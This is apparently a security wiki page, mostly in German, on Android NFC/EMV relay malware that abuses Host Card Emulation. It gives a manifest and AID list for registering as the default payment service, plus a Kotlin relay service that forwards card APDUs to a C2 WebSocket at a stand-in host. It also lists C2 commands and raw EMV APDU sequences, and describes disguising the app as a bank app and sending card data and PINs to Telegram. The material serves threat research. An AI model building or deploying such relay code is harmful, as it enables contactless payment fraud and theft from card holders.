Android HCE NFC/EMV Relay Attacks

Reading time: 5 minutes

Überblick

Der Missbrauch von Android Host Card Emulation (HCE) ermöglicht einer bösartigen App, die als standardmäßiger NFC-Zahlungsdienst gesetzt ist, EMV kontaktlose Transaktionen in Echtzeit weiterzuleiten. Das POS-Terminal kommuniziert über ISO 14443-4/EMV mit dem Telefon; der HostApduService der App empfängt APDUs und leitet sie über einen bidirektionalen C2 (oft WebSocket) an ein Backend weiter, das Antworten erstellt, die zurück an das POS geleitet werden. Das ermöglicht Live-Kartensimulation ohne lokale Kartendaten. Bei groß angelegten Kampagnen werden die Apps oft als Bank-/Regierungs-Apps umgelabelt, zur Standard-Zahlungs-App aufgefordert und auto-exfiltrate device/card data to Telegram bots/channels.

Key traits

• Android-Komponenten: HostApduService + default NFC payment handler (category "payment")
• Transport/C2: WebSocket für APDU-Weiterleitung; Telegram bot API für exfil/ops
• Operator-Workflow: strukturierte Befehle (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
• Rollen: scanner (liest EMV-Daten) vs tapper (HCE/relay) builds

Minimale Implementierungsbausteine

Manifest (become default payment HCE service)

<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>

<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>

Beispiel-AID-Liste mit EMV-Zahlungskategorie (nur Apps, die als Standardzahlung festgelegt sind, können auf diese AIDs antworten):

<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/>   <!-- AmEx -->
</aid-group>
</host-apdu-service>

Benutzer auffordern, die Standard-Zahlungs-App festzulegen (öffnet die Betriebssystemeinstellungen):

val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)

HostApduService Relay-Grundgerüst

class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null

override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}

override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}

override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}

private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}

Hinweis: Background service muss innerhalb des POS-Timeout-Budgets (~einige hundert ms) pro APDU antworten; halte eine Socket-Verbindung mit geringer Latenz und pre-auth mit dem C2 aufrecht. Bei Bedarf über Prozessbeendigungen hinweg mittels Foreground-Service persistent halten.

Typisches C2-Befehlsset (beobachtet)

login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error

EMV kontaktloser Austausch (Einführung)

Das POS steuert den Ablauf; die HCE-App leitet lediglich APDUs weiter:

• SELECT PPSE (2PAY.SYS.DDF01)
• 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
• SELECT application AID (e.g., VISA A0000000031010)
• 00 A4 04 00 len 00
• GET PROCESSING OPTIONS (GPO)
• 80 A8 00 00 Lc 00
• READ RECORD(S) per AFL
• 00 B2 <SFI/record> 0C 00
• GENERATE AC (ARQC/TC)
• 80 AE 80 00 Lc 00

Bei einem Relay erstellt das Backend gültige FCI/FCP, AFL, Datensätze und ein Cryptogramm; das Telefon leitet nur Bytes weiter.

Im Feld beobachtete Operator-Workflows

• Deception + install: App wird als Bank-/Regierungsportal neu gestaltet, zeigt eine Full-screen WebView und fordert sofort an, die default NFC payment app zu werden.
• Event-triggered activation: NFC-Tap weckt HostApduService; das Relay beginnt.
• Scanner/Tapper roles: eine Variante liest EMV-Daten von einer Opferkarte (PAN, exp, tracks, device/EMV fields) und exfiltriert sie; eine andere Variante (oder dasselbe Gerät später) führt HCE-Relay zu einem POS durch.
• Exfiltration: Geräte-/Karten-Daten werden automatisch an private Telegram-Kanäle/Bots gepostet; WebSocket koordiniert Sessions und UI-Prompts (z. B. on-device PIN UI).

References

• Zimperium – Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices
• Android HostApduService
• Android HCE and Card Emulation docs
• Zimperium IOCs – 2025-10-NFCStealer